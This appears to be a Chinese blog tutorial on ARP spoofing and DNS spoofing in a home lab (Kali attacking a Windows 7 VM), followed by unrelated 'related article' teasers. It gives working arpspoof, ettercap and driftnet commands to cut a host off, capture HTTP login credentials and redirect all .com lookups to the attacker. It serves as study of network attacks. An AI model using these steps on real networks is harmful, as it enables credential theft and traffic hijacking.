arp欺骗(http)与dns欺骗

news/2024/11/20 13:30:31/

Arp欺骗

win7:

   ip:192.168.127.147

   mac:00-0C-29-4F-1C-36

kali:

   ip:192.168.127.133

   mac:00:0c:29:4c:4d:92

arp -a  获取网关

网关:ip:192.168.127.0     mac:00-0c-29-4c-4d-92

fping -g 192.168.127.0/24

192.168.127.133 is alive

192.168.127.147 is alive

安装dsniff

更改sources.list源,apt-get update更新数据源列表

 

更改网关192.168.127.0 mac地址,使192.168.127.147主机形成断网

arpspoof -i eth0 -t 192.168.127.147 192.168.127.0

 

在win7上使用arp -a 查询发现192.168.127.0主机mac地址已更改

 

在win7上使用ping命令发现还有网络流量

继续断网,拦截192.168.127.254网络

arpspoof -i eth0 -t 192.168.127.147 192.168.127.254

 

使用arp -a查询ip对应物理地址

在win7使用ping命令发现网络已断开

 

流量转发

 

Win7可正常使用ping命令

使用图片捕获工具driftnet

使用ettercap工具劫持流量获取win7系统访问http网站输入的用户名密码等信息

ettercap -Tq -i eth0

在win7访问http网站输入用户名密码验证码之后点击确认,发现在kali上可以获取到这些信息

DNS欺骗

vi /etc/Ettercap/etter.dns,在文件增加*.com A 192.168.127.133

执行ettercap -G

首先点击‘对号’

将网关地址192.168.127.0加入Target1,将目标地址192.168.127.147加入target2

点击如下图1,2,进行arp欺骗

 

在win7上执行arp -a可查看到网关物理地址已修改

 

然后按下图顺序点击1,2,3,4进行dns欺骗

 

在win7执行 ping www.baidu.com,发现地址已修改为192.168.127.133,dns欺骗完成

 


http://www.ppmy.cn/news/103524.html

相关文章

Ansible从入门到精通【三】

大家好,我是早九晚十二,目前是做运维相关的工作。写博客是为了积累,希望大家一起进步! 我的主页:早九晚十二 专栏名称:Ansible从入门到精通 立志成为ansible大佬 ♣ansible的高级指令 ansible-playbook写一…

【面试】为什么Mysql用B+树做索引而不用B-树或红黑树

文章目录 前言一、B树只有叶节点存放数据,其余节点用来索引,而B-树是每个索引节点都会有Data域。二、那么Mysql如何衡量查询效率呢?三、B树相对于红黑树的区别 前言 原因如下: B树能显著减少IO次数,提高效率B树的查询…

Docker安装SQL Studio

前言 当前镜像是基于SQL Studio官网linux版本的安装包构建而成,镜像的tag和官方安装包的版本是对应的,例如:v1.6.0对应官方linux安装包的v1.6.0版本,目前只有v1.6.0版本的镜像。附上官网安装包下载地址 镜像说明 暴露端口 # 容…

1.Linux初识

在 Linux 系统中,sudo 是一个重要的命令,可以允许普通用户以管理员权限来运行特定的命令。通过 sudo 命令,普通用户可以暂时获取管理员权限,执行需要管理员身份才能执行的操作。 下面是一些关于 sudo 命令的用法: 以管…

Consul

1 下载 官网:https://releases.hashicorp.com/consul 根据自己情况选择自己所需的安装包下载即可。 2 安装 2.1 linux安装consul服务 ## 从官网下载最新版本的Consul服务 wget https://releases.hashicorp.com/consul/1.15.2/consul_1.15.2_linux_amd64.zip ##…

【SQL】PostgreSQL语句

最近使用PostgreSQL做了不少数据处理的工作,现将学习到的SQL语句整理一下。 创建数据库 CREATE DATABASE table_name; 创建表格 CREATE table_name IF NOT EXISTS {} (time timestamp, data int) 插入数据 insert into table_name values(%s, %s); 选择数据 …

AbandonedConnectionCleanupThread$ConnectionFinalizerPhantomReference内存溢出

网上查了查资料,根据自己情况在这里整理了一下,供大家学习和参考。 目录 1、现象 2、mysql-connector-java 源码分析 3、解决方法 3.1、配置disableAbandonedConnectionCleanup 3.2、暴力解决方式-----定时GC 4、什么是虚引用 5、关联对象真的被回…

dolphinscheduler3.1.7windows部署启动说明

简介 Apache DolphinScheduler是一个新一代分布式大数据工作流任务调度平台,致力于“解决大数据任务之间错综复杂的依赖关系,整个数据处理开箱即用”。它以 DAG(有向无环图) 的方式将任务连接起来,可实时监控任务的运行状态,同时…